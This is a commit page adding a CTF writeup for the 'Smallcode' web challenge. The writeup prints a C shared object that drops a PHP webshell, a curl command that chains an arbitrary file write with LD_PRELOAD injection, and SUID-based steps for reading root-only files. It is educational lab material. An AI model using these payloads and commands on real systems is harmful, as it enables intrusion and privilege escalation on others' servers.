Skip to content

Commit f72fee1

Browse files
committed
Add Qiangwang Quals writeup in QiangQuals folder with images
1 parent 909f176 commit f72fee1

File tree

9 files changed

+208
-0
lines changed

9 files changed

+208
-0
lines changed
Lines changed: 208 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,208 @@
1+
---
2+
layout: post
3+
title: "Qiangwang Quals - Smallcode"
4+
categories: [web, writeups , CTF]
5+
tags: [unauth file write,environment poisioning,hijacking]
6+
date: 2025-10-28
7+
media_subpath: /assets/img/QiangQuals
8+
---
9+
# QIANGWANG Quals Smallcode - Writeup
10+
11+
Last week, I participated in the QIANGWANG INTERNATIONAL QUALIFIER CTF and focused on the web challenges. In this writeup, I'll walk through my solution for the "SmallCode" task.
12+
13+
14+
### Overview
15+
16+
This PHP snippet is the challenge source. It prints its own source, accepts two POST fields (`context` and `env`), writes decoded data to a file, sets an environment variable, and runs a background `wget`. It's short but has multiple risky behaviors that make it interesting for a CTF.
17+
18+
```php
19+
<?php
20+
highlight_file(__FILE__);
21+
if(isset($_POST['context'])){
22+
$context = $_POST['context'];
23+
file_put_contents("1.txt",base64_decode($context));
24+
}
25+
26+
if(isset($_POST['env'])){
27+
$env = $_POST['env'];
28+
putenv($env);
29+
}
30+
system("nohup wget --content-disposition -N hhhh &");
31+
32+
?>
33+
```
34+
35+
Line-by-line (concise)
36+
- **highlight_file(__FILE__)**: prints the PHP source to the browser — information disclosure.
37+
- **if(isset($_POST['context'])) { ... }**: if `context` is provided, it is read and processed.
38+
- **file_put_contents("1.txt", base64_decode($context))**: base64-decodes the POST body and writes it to 1.txt (no validation or sanitization).
39+
- **if(isset($_POST['env'])) { ... }**: accepts an `env` POST value.
40+
- **putenv($env)**: sets the process environment with the provided string.
41+
- **system("nohup wget --content-disposition -N hhhh &");**: runs wget in the background.
42+
43+
44+
### My Mindset ; How I Thought It Through
45+
46+
> **"If I control the bytes, I control the file. If I control the file, I control the loader."**
47+
48+
#### Step-by-Step Reasoning:
49+
1. **"Can I write non-text?"** → Yes. `base64_decode` → raw bytes.
50+
2. **"Does `.txt` stop ELF?"** → No. Linux ignores extensions.
51+
3. **"Can I make a valid `.so`?"** → Yes. Use `gcc -shared -fPIC`.
52+
4. **"Will it load?"** → Yes , if `LD_PRELOAD` points to it.
53+
54+
---
55+
56+
57+
### Exploitation
58+
59+
### Chaining an unauthenticated file write + environment poisoning -> LD_PRELOAD hijack
60+
61+
We can write anything into 1.txt - no checks, no filters, no mercy. Linux doesn’t care about the .txt extension; it only sees the magic bytes. So we craft a fully valid ELF shared object (.so) with a sneaky ```__attribute__((constructor))``` payload, compile it, base64-encode it, and upload it as 1.txt. Then, using ```LD_PRELOAD=/var/www/html/1.txt```, we force the dynamic linker to load our library first on the next process spawn. The constructor fires instantly - shell dropped, game over.
62+
63+
![alt text](/assets/img/QiangQuals/image-2.png)
64+
65+
#### 1) Unauthenticated file write (file_put_contents)
66+
```php
67+
if(isset($_POST['context'])){
68+
$context = $_POST['context'];
69+
file_put_contents("1.txt", base64_decode($context));
70+
}
71+
```
72+
In this step, we utilize the arbitrary file write capability to upload a specially crafted **shared object** (.so) disguised as 1.txt. The object contains a constructor function that executes automatically upon loading.
73+
```c
74+
#include <stdio.h>
75+
#include <stdlib.h>
76+
77+
__attribute__((constructor))
78+
void init() {
79+
FILE *fp = fopen("/var/www/html/2.php", "w");
80+
if (fp) {
81+
fprintf(fp, "<?php system($_GET['c']); ?>");
82+
fclose(fp);
83+
}
84+
}
85+
```
86+
We'll compile it like this :
87+
```bash
88+
gcc -fPIC -shared -o tou.so evil.c -Wl,-z,max-page-size=0x1000
89+
```
90+
Then we will base64 encode the content of the 1.txt :
91+
```bash
92+
base64 -w 0 tou.s > payload.b64
93+
```
94+
Et Voilà We generated our malicious **shared object**.
95+
96+
#### 2) Environment poisoning (putenv)
97+
```php
98+
if(isset($_POST['env'])){
99+
$env = $_POST['env'];
100+
putenv($env);
101+
}
102+
```
103+
The `putenv($_POST['env'])` line is **pure PHP chaos** , it’s like giving a toddler a Sharpie and saying, *"Go draw on the environment variables!"* No checks, no filters, just **blind trust**. One `POST` and *boom* - your `LD_PRELOAD` is now the boss of `ld.so`. It’s not a bug… it’s a **backdoor with a welcome mat**.
104+
105+
> *“Trusting user input for `putenv()`? That’s not a feature. That’s **root via friendship**.”*
106+
107+
**We exploit it like this:**
108+
```bash
109+
env=LD_PRELOAD=/var/www/html/1.txt
110+
```
111+
112+
> **Me:** “Hey linker, load **my** library first, (malicious payload)”
113+
> **`wget` starts**
114+
> **`ld.so` reads env**
115+
> **Our `.so` wins the race**
116+
> **Constructor pops shell**
117+
118+
### TL;DR - What is `LD_PRELOAD`?
119+
**`LD_PRELOAD` is an environment variable that tells the Linux dynamic linker (`ld.so`) to load your chosen shared library **before** any other library — even system ones like `libc`.**
120+
> It’s meant for debugging or patching, but **if you control it**, you control what code runs when a program starts.
121+
122+
123+
## Chaining All Bugs to Drop a Webshell
124+
125+
We start by uploading our malicious `.so` file as `/var/www/html/1.txt` using the file write, then we set `LD_PRELOAD` via the `env` parameter with `env=LD_PRELOAD=/var/www/html/1.txt`, then the background wget runs, then it loads our `.so` because of `LD_PRELOAD`, and finally, our constructor runs and drops the webshell as `2.php` in `/var/www/html`.
126+
127+
```bash
128+
curl -X POST --data-urlencode "context=$(cat tou.b64)" -d "env=LD_PRELOAD=/var/www/html/1.txt" http://127.0.0.1
129+
```
130+
131+
![alt text](/assets/img/QiangQuals/image-4.png)
132+
133+
## Shell Access
134+
135+
After chaining the exploit, we visit [`http://127.0.0.1/2.php?c=ls`](http://127.0.0.1/2.php?c=ls) to confirm our webshell upload:
136+
137+
![Webshell Confirmed](/assets/img/QiangQuals/image.png)
138+
139+
**Success!** Our webshell is live — time to hunt for the flag.
140+
141+
---
142+
143+
### Flag Discovery
144+
145+
We quickly spot `/flag.txt` in the root directory. But a simple `cat /flag.txt` returns... nothing:
146+
147+
![](/assets/img/QiangQuals/image-1.png)
148+
149+
Let's dig deeper with `ls -la /flag.txt`:
150+
151+
![](/assets/img/QiangQuals/image-3.png)
152+
153+
**Result:**
154+
The flag file is owned by `root` and only readable by `root`. Our shell runs as `www-data`, so direct access is blocked.
155+
156+
157+
158+
159+
160+
## Next Steps: Privilege Escalation
161+
162+
Our webshell is active, but `/flag.txt` is only accessible by the `root` user. To read the flag, we need to escalate our privileges from `www-data` to `root`. Time to level up!
163+
164+
### Searching for SUID Binaries
165+
166+
We can look for SUID binaries, which are files that run with root privileges, using the following command:
167+
168+
```bash
169+
find / -type f -user root -perm /4000 2>/dev/null
170+
```
171+
172+
This command lists all files owned by root with the SUID bit set. It's like searching for hidden treasure ; except the loot is root access.
173+
174+
![SUID Binaries](image-5.png)
175+
176+
### Using GTFOBins
177+
178+
[GTFOBins](https://gtfobins.github.io/) is a resource that documents ways to exploit common binaries for privilege escalation. After checking the list (and resisting the urge to shout "GTFO!"), we find that the `nl` binary can be used to read files as root.
179+
180+
![nl GTFOBins](image-6.png)
181+
182+
### Reading the Flag
183+
184+
We use the following command to read the flag file:
185+
186+
```bash
187+
LFILE=/flag.txt; nl -bn -w1 -s '' $LFILE
188+
```
189+
190+
Since `nl` is a SUID root binary, it allows us to read the contents of `/flag.txt`. Who knew line numbers could be so powerful?
191+
192+
![Flag Output](image-7.png)
193+
194+
**Flag:**
195+
`flag{fake_flag_for_testing}`
196+
197+
---
198+
199+
## Conclusion
200+
201+
This challenge demonstrated how to chain vulnerabilities for remote code execution and privilege escalation. By leveraging file write, environment variable manipulation, and SUID binaries, we were able to obtain the flag. Thanks to the organizers for providing an interesting and educational challenge.
202+
203+
**Difficulty:** ★★☆☆☆
204+
205+
**Fun Factor:** ★★★☆☆
206+
207+
Looking forward to future challenges, may your bugs be plentiful and your flags easy to find!
208+

assets/img/QiangQuals/image-1.png

6.93 KB
Loading

assets/img/QiangQuals/image-2.png

2.27 MB
Loading

assets/img/QiangQuals/image-3.png

10.9 KB
Loading

assets/img/QiangQuals/image-4.png

98.8 KB
Loading

assets/img/QiangQuals/image-5.png

19.3 KB
Loading

assets/img/QiangQuals/image-6.png

27.2 KB
Loading

assets/img/QiangQuals/image-7.png

14.2 KB
Loading

assets/img/QiangQuals/image.png

15.5 KB
Loading

0 commit comments

Comments
 (0)